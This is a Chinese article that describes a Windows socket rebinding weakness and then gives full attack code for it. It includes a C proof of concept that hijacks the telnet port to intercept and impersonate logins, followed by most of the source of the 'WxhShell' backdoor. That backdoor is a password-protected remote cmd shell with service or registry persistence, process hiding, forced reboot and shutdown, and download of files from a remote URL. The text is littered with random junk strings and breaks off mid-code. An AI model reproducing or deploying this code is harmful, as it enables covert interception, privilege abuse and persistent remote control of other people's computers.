在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
}z/Y
Hv% s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
+=qazE<:0 L
2Z9g`> saddr.sin_family = AF_INET;
F:P&hK rP=!!fC1; saddr.sin_addr.s_addr = htonl(INADDR_ANY);
w2mL L?P \!_:<"nX. bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
MUs~ZF J(s%"d 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
q7VpKfA:M j+E[[
这意味着什么?意味着可以进行如下的攻击:
F9Bj$`#) y9>? 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
_s&sA2r< sXmZ0Dv 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
@NY$.K#] qDPpGI-Y2e 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
Ijs"KAW
? o YZmz 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
HVz,liq bN',-[E 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
v.aSf`K m&h5u, 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
@Qa)@'u unUCn5hJ= 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
fV`R7m. f7Dx.- #include
q%/ciPgE #include
CLU[')H0 #include
,iUYsY #include
}: W6Bo-| DWORD WINAPI ClientThread(LPVOID lpParam);
ZV=)`E`I| int main()
QCI-YJ&o {
qZ:-- ,9+ WORD wVersionRequested;
p(5'|eqBV DWORD ret;
Hsoe?kUHF WSADATA wsaData;
o#IQz_ BOOL val;
nvyyV\w SOCKADDR_IN saddr;
#$qhxYyd SOCKADDR_IN scaddr;
ZUW~ZZ7Z: int err;
HKr6h?Si^ SOCKET s;
&>!WhC16 SOCKET sc;
tVf 1]3(_> int caddsize;
LAoX'^6 HANDLE mt;
gXR1nnK DWORD tid;
%mda=%Yn wVersionRequested = MAKEWORD( 2, 2 );
x7s75 err = WSAStartup( wVersionRequested, &wsaData );
$jDp ^ - if ( err != 0 ) {
?2g\y@ printf("error!WSAStartup failed!\n");
!7:~"kk return -1;
pFu3FUO*; }
jx=2^A/i2- saddr.sin_family = AF_INET;
^H,o I* 9J$z/j;X //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
fYU-pdWPT #\&jM
-.- saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
KL4Z||n saddr.sin_port = htons(23);
D/jS4'$vA if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
@'K+ {
k($N_XlE printf("error!socket failed!\n");
TT(dCHft return -1;
"~f=7
}
'WUevPmt val = TRUE;
8#Q=CTjF //SO_REUSEADDR选项就是可以实现端口重绑定的
GUe&WW:Sqk if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
.&53WL[D| {
,UdTUw~F printf("error!setsockopt failed!\n");
ijYSYX@ return -1;
27;t,Oq} }
UeVRd //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
P2nb&lVdu //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
!2('Cq_^ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
~D4%7U"dv 0!n6tz lT if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
T/V 5pYl {
>Ic)RPO9 ret=GetLastError();
az (u=} printf("error!bind failed!\n");
<%(nF+rQA" return -1;
Jmln*,Ol7 }
h5bQ listen(s,2);
/^E2BRI while(1)
\pzqUTk {
CapWn~*g caddsize = sizeof(scaddr);
W*hRYgaX3 //接受连接请求
c%uX+\-$ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
`]^JOw5o if(sc!=INVALID_SOCKET)
N'fE^jqU {
Os?`!1- mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
r lalr+Rf if(mt==NULL)
HNA/LJl[VU {
,qgph^C printf("Thread Creat Failed!\n");
89>U Koc? break;
Ld[zOx }
N1RZ }
;[-dth CloseHandle(mt);
9:bC{n }
5PPV`7Xm9 closesocket(s);
/\-qz$ WSACleanup();
k,xY\r$ return 0;
f$x\~y<[ }
:N~1fvx DWORD WINAPI ClientThread(LPVOID lpParam)
;a/Gs^W {
RZ!-,|"cwL SOCKET ss = (SOCKET)lpParam;
|pv:'']J SOCKET sc;
Qa nE] unsigned char buf[4096];
d/8I&{. SOCKADDR_IN saddr;
w.gI0` long num;
ZGHkW9b& DWORD val;
F/\w4T DWORD ret;
b!Q|0X.? //如果是隐藏端口应用的话,可以在此处加一些判断
a _YE[6 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
;Cdrjx saddr.sin_family = AF_INET;
slV+2b saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
n"dC]&G' saddr.sin_port = htons(23);
5FJ<y"<6 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
ZZf-c5 g {
:7t~p&J printf("error!socket failed!\n");
?|8H|LBIr return -1;
M`$s
dZ" }
}fW@8ji\ val = 100;
P1b5=/}:V
if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
vMsb@@O\ \ {
\gRX:i#n ret = GetLastError();
(
w(GJ/g return -1;
O|J`M2r }
i0ax`37 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
p4;A[2Ot`: {
he0KzwBF ret = GetLastError();
+B$o8V return -1;
CPVR }
48CLnyYiF if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
H/>86GG {
;E/:_DWPD printf("error!socket connect failed!\n");
k=j--`$8k closesocket(sc);
hPhNDmL#3 closesocket(ss);
`MAluu+b return -1;
>-YPCW }
Gn+D%5)$I while(1)
%D|27gh {
\}Jy=[ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
TC1#2nE&T //如果是嗅探内容的话,可以再此处进行内容分析和记录
k:nR'TI //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
;7"}I num = recv(ss,buf,4096,0);
^w.x~#zI if(num>0)
=(ts~^ send(sc,buf,num,0);
OPR+K ? else if(num==0)
C`c;I7 break;
r>1M&Y=< num = recv(sc,buf,4096,0);
[?mDTD8zU if(num>0)
Y,OSQBgk send(ss,buf,num,0);
UXVjRY`M.\ else if(num==0)
f}g )3+i break;
tuuc9H4B }
;aKdRhDo closesocket(ss);
7pDov@K<{ closesocket(sc);
h
V@C|*A return 0 ;
*R.Q!Lv+ }
Yhl {' 3Xgf=yG:M $:kG>R@\t ==========================================================
ps1ndGp~# B5>h@p-UV 下边附上一个代码,,WXhSHELL
[$_d|Z D;.O# bS ==========================================================
V`$Jan <>`+"O} #include "stdafx.h"
pqO}=*v@ 2Q`@lTUv #include <stdio.h>
_4iTP$7[ #include <string.h>
Bi9b"*LN #include <windows.h>
w*`5b!+/ #include <winsock2.h>
ru,]!YPJE2 #include <winsvc.h>
L
DD^X@q #include <urlmon.h>
OI"vC1.5 /gZrnd? #pragma comment (lib, "Ws2_32.lib")
(SV(L~T_ #pragma comment (lib, "urlmon.lib")
)=TD}Xb /NCEZ@2BN, #define MAX_USER 100 // 最大客户端连接数
Kl<qp7o0 #define BUF_SOCK 200 // sock buffer
:9N~wd #define KEY_BUFF 255 // 输入 buffer
A6Ttx{] w*[i!i #define REBOOT 0 // 重启
"/Fp_g6#: #define SHUTDOWN 1 // 关机
}R:e[lKj _sIhQ8$: #define DEF_PORT 5000 // 监听端口
B`)o?GcVN
8`Fo^c=j #define REG_LEN 16 // 注册表键长度
WJBi#(SY #define SVC_LEN 80 // NT服务名长度
:IDD(<^9 yC ZV:R; // 从dll定义API
es@_6ol.@ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
f^il|Obzl typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
|i'V\"
hW typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
vwDnz/- typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
<@xp. Y ;}{xpJ/ // wxhshell配置信息
vR<Y1<j struct WSCFG {
vt}+d
StUm int ws_port; // 监听端口
8qL*Nf char ws_passstr[REG_LEN]; // 口令
Qrjo@_+w! int ws_autoins; // 安装标记, 1=yes 0=no
J<Di2b+ char ws_regname[REG_LEN]; // 注册表键名
O,6Upk char ws_svcname[REG_LEN]; // 服务名
1lZl10M:f char ws_svcdisp[SVC_LEN]; // 服务显示名
N%!8 I char ws_svcdesc[SVC_LEN]; // 服务描述信息
mh;<lW\K/Z char ws_passmsg[SVC_LEN]; // 密码输入提示信息
u5^fiw]C int ws_downexe; // 下载执行标记, 1=yes 0=no
[_6_A O(Z char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
ez_qG=J . char ws_filenam[SVC_LEN]; // 下载后保存的文件名
8#NtZ YKq, `7"% };
r=6-kC!T9 62K7afH // default Wxhshell configuration
T{v(B["!$ struct WSCFG wscfg={DEF_PORT,
K.c6n,' "xuhuanlingzhe",
8<ZxE(v 1,
=!m5'$Uz> "Wxhshell",
9X&Xc "Wxhshell",
IFNs)* "WxhShell Service",
T6MlKcw,t "Wrsky Windows CmdShell Service",
@s RRcP~ "Please Input Your Password: ",
7?<.L 1,
BYuF$[3ya& "
http://www.wrsky.com/wxhshell.exe",
4d3]L`
f "Wxhshell.exe"
nsFOtOdd };
0FmYM@Wc 3Z#k9c_b // 消息定义模块
9 lE[oAC char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
lR[[]Yn char *msg_ws_prompt="\n\r? for help\n\r#>";
XB,
2+ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
KB49~7XjQ@ char *msg_ws_ext="\n\rExit.";
OcQ>01Q char *msg_ws_end="\n\rQuit.";
f<WP<!N% char *msg_ws_boot="\n\rReboot...";
aP^,@RrL char *msg_ws_poff="\n\rShutdown...";
i:W.,w%8 char *msg_ws_down="\n\rSave to ";
[2I1W1pd Xh"JyDTj3 char *msg_ws_err="\n\rErr!";
NfizX!w& char *msg_ws_ok="\n\rOK!";
)*@n G$i99 3wK{? char ExeFile[MAX_PATH];
IiTV*azVh int nUser = 0;
>aXyi3B HANDLE handles[MAX_USER];
"Mzb int OsIsNt;
c}GmS@ k4jZu?\C] SERVICE_STATUS serviceStatus;
4b]/2H SERVICE_STATUS_HANDLE hServiceStatusHandle;
-(9>{!",J I$!rNfrs // 函数声明
GJN"43 int Install(void);
m`
^o<V& int Uninstall(void);
9r.Os int DownloadFile(char *sURL, SOCKET wsh);
N>##}i int Boot(int flag);
vgY )
L void HideProc(void);
0dxEV] int GetOsVer(void);
.lnyn|MVb int Wxhshell(SOCKET wsl);
1y@d`k`t: void TalkWithClient(void *cs);
m
"' int CmdShell(SOCKET sock);
tE3#Uq int StartFromService(void);
B M5+;h ! int StartWxhshell(LPSTR lpCmdLine);
^\=<geEj 5%,5Xe4p VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Qgx9JJ> VOID WINAPI NTServiceHandler( DWORD fdwControl );
wdg,dk9e$ pw|f4c7AH // 数据结构和表定义
~+w'b7T,= SERVICE_TABLE_ENTRY DispatchTable[] =
y%%D=" {
)D'SfNx#{ {wscfg.ws_svcname, NTServiceMain},
CT5\8C {NULL, NULL}
T-e'r };
Q@]~O- Wno{&I63 // 自我安装
0#1hkJ" int Install(void)
iUDN m|e {
ROcI.tL char svExeFile[MAX_PATH];
q?}
/q HKEY key;
&V/n!|q<H strcpy(svExeFile,ExeFile);
/+^7lQo\] SFhi]48&V // 如果是win9x系统,修改注册表设为自启动
6S]K@C=r if(!OsIsNt) {
7<FI[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
f_A'.oq+ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
C\"nlNKw RegCloseKey(key);
)F_vWbg if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
WUOoK$I~K RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
A^lJlr:_` RegCloseKey(key);
.*FBr7rE\ return 0;
6ub-NtVu }
NGQBOV }
A|jmp~@K)+ }
XC44]o4jx else {
'-9B`O,& #snwRW>=[ // 如果是NT以上系统,安装为系统服务
Xwz9E!m SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
F}9!k LR if (schSCManager!=0)
S-x'nu$u {
*}fs@"S
SC_HANDLE schService = CreateService
bY`
b3 (
TCShS}q;% schSCManager,
bloe|o! wscfg.ws_svcname,
j v9DQr wscfg.ws_svcdisp,
Dp1FX"a) SERVICE_ALL_ACCESS,
VpmwN`
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
gbvM2 SERVICE_AUTO_START,
_0HCtx ; SERVICE_ERROR_NORMAL,
R1'tW= svExeFile,
kyV!ATL1F NULL,
vh+ '
W NULL,
%3p~5jhm1 NULL,
#63)I9> NULL,
117`=9F NULL
*xHj* );
=AaTn::e/ if (schService!=0)
}ACWSk WK {
(!'=?B " CloseServiceHandle(schService);
KWuc*! CloseServiceHandle(schSCManager);
Eo
h4#fZ\N strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
,_SE!iL strcat(svExeFile,wscfg.ws_svcname);
#B_Em$ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
8ckcTNPu RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
_6U=7<f RegCloseKey(key);
S
^5EG;[ return 0;
{T;A50 }
5&Y%N( }
D,$!.5OA CloseServiceHandle(schSCManager);
j%w}hGW%, }
6?B'3~r }
K;uOtbdOK R0yPmh,{ return 1;
cXcrb4IKD }
pTzwyj!SD +=_^4 // 自我卸载
W^(:\IvV int Uninstall(void)
FE'|wf {
.>X0 $# HKEY key;
@^q|C&j ;i;2cq if(!OsIsNt) {
ucP"<,a if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
<H; z4 RegDeleteValue(key,wscfg.ws_regname);
b\{34z, RegCloseKey(key);
=`&7pYd, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
:A,g :B RegDeleteValue(key,wscfg.ws_regname);
Kivr)cIG RegCloseKey(key);
NY(z3G return 0;
5Q/&,NP }
!UzMuGj }
8%+F.r }
3bWYRW else {
B|fh 4FNy v d{`*|x SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
;FQ<4PR$ if (schSCManager!=0)
k4HE'WY {
[
GcH4E9r SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
jH5VrN*Q if (schService!=0)
wSV}{9}wr% {
/JcfAY if(DeleteService(schService)!=0) {
$Gy& CloseServiceHandle(schService);
kzkrvC+u CloseServiceHandle(schSCManager);
lwVo%- return 0;
K3Sa6"U }
S]"U(JmW\ CloseServiceHandle(schService);
P0mY/bBU }
`/e
EdqT CloseServiceHandle(schSCManager);
c6 f=r }
^i"~6QYE }
yG v7^d W5)R{w0`GD return 1;
+VSq [P }
jV|j]m&t ~10 >mg // 从指定url下载文件
},]G +L;R int DownloadFile(char *sURL, SOCKET wsh)
*ku}.n {
_L^(CFE HRESULT hr;
8*bEsc| char seps[]= "/";
9Z[EzKd<~' char *token;
Y^Y1re+} char *file;
w'r?)WW$ char myURL[MAX_PATH];
)'1rZb5 char myFILE[MAX_PATH];
1H-d<G0) n)<S5P? strcpy(myURL,sURL);
;h"St0
token=strtok(myURL,seps);
B=<Z@u while(token!=NULL)
DN X-\ {
7Rq|N$y.3 file=token;
#F^0uUjq token=strtok(NULL,seps);
~K2.T7= }
m)1+D"z f{HjM?
Mb3 GetCurrentDirectory(MAX_PATH,myFILE);
S-
N
[ strcat(myFILE, "\\");
uHQf <R$: strcat(myFILE, file);
u3k{s send(wsh,myFILE,strlen(myFILE),0);
W"meH~[Cp send(wsh,"...",3,0);
hI#1Ybl hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
}x~1w:zHd if(hr==S_OK)
63NhD return 0;
):L ; P) else
AY(z9&;6 return 1;
\*+-Bm:$j o,q47W=7$ }
]ZI ?U<0 ^o8o // 系统电源模块
e[($rsx int Boot(int flag)
AE@N:a {
ll^#I/ HANDLE hToken;
6rll0c~ TOKEN_PRIVILEGES tkp;
W1!Nq` j*fs [4 if(OsIsNt) {
?= RC?K OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
2mt
S\bAF LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
>D5WAQ>b tkp.PrivilegeCount = 1;
+ e3{J _ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
+t
JEG: AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
lh]Q\ if(flag==REBOOT) {
hMNC] if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
JBK(Nk return 0;
+M{A4nYY|1 }
Uaz$<K6 else {
\:5M0 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
45(n!"u65 return 0;
+?%LX4Y }
[h0.k"&[ }
Pw|J([ else {
KB5<)[bs if(flag==REBOOT) {
3*C|"|lJ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
j&|>Aa${ return 0;
)OE!vA }
0K:3?Ik else {
INF}~DN] if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
_qp^+ return 0;
HxnWM\ p }
sMDHg }
_0Z8V[ [9H986= return 1;
d8Sr,t+ }
YsA., G9AQIU%ii // win9x进程隐藏模块
M@a=|N~ void HideProc(void)
x&d:V {
&fRZaq'2R >0AVs6&;v HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
+6;1.5Tc if ( hKernel != NULL )
3q)y;T\yW {
qgkC) pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
;hZ^zL ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
x*a^msY% FreeLibrary(hKernel);
7\<}378/^ }
2od9Q=v~ vD91t/_+ return;
Z~Vups#+f }
8-geBlCE, /DE`>eJY // 获取操作系统版本
@A1Ohl int GetOsVer(void)
f2,\B6+ {
UC*\3:>'n OSVERSIONINFO winfo;
l}&&f8n winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
zcCGREe= GetVersionEx(&winfo);
oeA}b-Ct0 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Jf3xK"in return 1;
qu+Zl1~$] else
LQDU8[- return 0;
S&z8-D=8k }
jA,|.P> %Q. |qyq // 客户端句柄模块
) mh,F#"L int Wxhshell(SOCKET wsl)
Nu4PY@m]C {
b75en{aDi* SOCKET wsh;
D"ecwx{%;C struct sockaddr_in client;
@mm~i~~KA DWORD myID;
:&\^r=D iT,Ya-9" while(nUser<MAX_USER)
=&x
u"V {
@lu`oyM int nSize=sizeof(client);
/=+Bc=<lZ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
"jA?s9 if(wsh==INVALID_SOCKET) return 1;
Yue# R$M>[Kjn handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
th]pqhl> if(handles[nUser]==0)
4H@K?b` closesocket(wsh);
" ,>,t_J else
CU_8
`} nUser++;
d45mKla(V }
7&Qf))L WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
+I[Hxf ~ 5K[MKfT return 0;
!J k|ha~r }
Wo,"$Z6B K;P<c,9X/ // 关闭 socket
vI5'npM void CloseIt(SOCKET wsh)
Tp&7CNl| {
tXW7G@ closesocket(wsh);
!v?WyGbUg nUser--;
;Vlt4,s) ExitThread(0);
[`_-;/Gx2 }
?a{es! 9 6j*F,{ // 客户端请求句柄
i564<1`x void TalkWithClient(void *cs)
h:~
8WV| {
Q/y"W,H# ]h4r@L3 SOCKET wsh=(SOCKET)cs;
{-.ZFUZmT char pwd[SVC_LEN];
&!0%"4 char cmd[KEY_BUFF];
ZK$<"z6{ char chr[1];
v i~NfD@s int i,j;
Cy2)M(RW xt=ELzu$ while (nUser < MAX_USER) {
g$9EI\a 1azj%WY if(wscfg.ws_passstr) {
Gcp!"y=i if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
"D[/o8Hk //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Qzq3{%^x_ //ZeroMemory(pwd,KEY_BUFF);
O0=}:HM i=0;
&+Yoob]P while(i<SVC_LEN) {
GQ])y lm\~_ 4l1 // 设置超时
%}1v- z fd_set FdRead;
4#Id0[' struct timeval TimeOut;
[z> Ya-uz7 FD_ZERO(&FdRead);
SioP`*,} FD_SET(wsh,&FdRead);
"e@?^J) TimeOut.tv_sec=8;
YAJr@v+Ls TimeOut.tv_usec=0;
0o_wy1O1, int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
-_+,HyJP if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
O]%Vh
l 3R)_'!R[B
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
\>lDM pwd
=chr[0]; b5t:">wC
if(chr[0]==0xd || chr[0]==0xa) { )L/o|%r!
pwd=0; ! w2BD^V-
break; <
+X,oxg
} la{Iqm{i
i++; Kp?j\67S
} T[+~-D @
1`v$R0`!
// 如果是非法用户,关闭 socket AroYDR,3+
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |Wz`#<t
} <MzXTy3\
/& wA$h
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /@feY?glc
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T)tf!v3v
K</="3
HK
while(1) { v/z~ j
"
'TEBkj|u
ZeroMemory(cmd,KEY_BUFF); rUWC=?Q
g ^ 4<ve
// 自动支持客户端 telnet标准 (MnK
\^Y
j=0; 'RzzLk|$
while(j<KEY_BUFF) { }Sv\$h
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HsRQiai*
cmd[j]=chr[0]; Dh.pH1ZY3n
if(chr[0]==0xa || chr[0]==0xd) { Eq6.
s)10
cmd[j]=0; D9;s%
break; bXRSKp[$
} (bD'SWE
j++; B0$.oavC
} k.Q4oyei
<0!)}O
// 下载文件 ,;~@t:!c
if(strstr(cmd,"http://")) { E%vT(Kz
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1qd(3A41
if(DownloadFile(cmd,wsh)) xY$@^(Q\
send(wsh,msg_ws_err,strlen(msg_ws_err),0); w
.+B h
else |jJ9dTD8/
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W $E Ao+V
} JsV-:J
else { H0?Vq8I?
BX-fV|
switch(cmd[0]) { BZ}_
&.)ST0b4
// 帮助 SeIL
case '?': { ^_!2-QY.~
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); YW'l),Z
break; {LoNp0i1a
} *4?%Y8;bF6
// 安装 -,^Z5N#\|
case 'i': { 3iBUIv
if(Install()) [28Vf"#]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); {D7v[P+
else 53O}`xX!6
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }-2U,Xg[
break; [s&0O<Wv
} j5V{,lf
// 卸载 WdJJt2'
case 'r': { t)^18 z
if(Uninstall()) ]D&\|,,(
send(wsh,msg_ws_err,strlen(msg_ws_err),0); bPUldkB:
else }x(Ewr
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1}"Prx-
break; 3R6=C~
} I|R;)[;X
// 显示 wxhshell 所在路径 VGeyZ\vU
case 'p': { 6<{XwmM
char svExeFile[MAX_PATH]; 7 jiy9[
strcpy(svExeFile,"\n\r"); *(CV OY~
strcat(svExeFile,ExeFile); _8&a%?R@W
send(wsh,svExeFile,strlen(svExeFile),0); EVW\Z 2N.
break; 2b^E8+r9
} ">x"BP
// 重启 lOu&4Kq{g
case 'b': { `!l Qd}W
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `C>De4nT@
if(Boot(REBOOT)) ]y~"M
send(wsh,msg_ws_err,strlen(msg_ws_err),0); H.#zbKj
else { !A'3Mw\Nm
closesocket(wsh); xY<*:&
ExitThread(0);
O2N~&<^
} c%5Suu(J6
break; /[,0,B9!3
} pv@w 8*
// 关机 C1po]Ott*
case 'd': { [J
+5
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |0xP'(
if(Boot(SHUTDOWN)) OXD*ZKi8
send(wsh,msg_ws_err,strlen(msg_ws_err),0); BT*{&'\/
else { %hN7K
closesocket(wsh); J{e`P;ND
ExitThread(0); 6h{>U*N"&d
} gX;)A|9e
break; 8&c:73=?X
} buA/G-<e
// 获取shell ?#Y1E~N
case 's': { JV@b(x`
CmdShell(wsh); Bnh*;J0
closesocket(wsh); (R-(
ExitThread(0); dlCmSCp%
break; `{ ` W-C
} ^\7GFpc
// 退出 Mc/=
Fs
case 'x': { 2|$G<f
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); W
#V`|JA
CloseIt(wsh); CM4#Nn=i~
break; - sL4tMP
} !;E{D
// 离开 &Rt^G
case 'q': { p61F@=EL
send(wsh,msg_ws_end,strlen(msg_ws_end),0); @f`s%o
closesocket(wsh); iG+=whvL
WSACleanup(); !m6=Us
exit(1); s(cC;
break; W
![*0pL
} ?$~5ti#\
} e7M6|6nb
} F`M`c%
=PIarUJ
// 提示信息 xew s~74L
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i9v|*ZM"
} |G(I,EPag
} "J>8ZUP
OpLUmn
return; ,nSapmg
} y4Lh:;
2!?=I'uMA
// shell模块句柄 ]+d>;$O
int CmdShell(SOCKET sock) 'pC51}[A{^
{ C(&3L[
STARTUPINFO si; rFhi:uRV
ZeroMemory(&si,sizeof(si)); Cp^`-=r+
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m(CAXq-t
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l\HtP7]
PROCESS_INFORMATION ProcessInfo; +%?\#E QJ
char cmdline[]="cmd"; Y}
crE/
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); YSux#*#H
return 0; !XQ)>T^G5
} *&tv(+P
T4h&ly5
f
// 自身启动模式 oD=+
int StartFromService(void) lD6PKZ\RIj
{ mO&zE;/[
typedef struct Ypwn@?xeP
{ 5E0dX3-
DWORD ExitStatus; `qhZZ{s)1U
DWORD PebBaseAddress; pReSvF}}C
DWORD AffinityMask; fF.sT7Az+
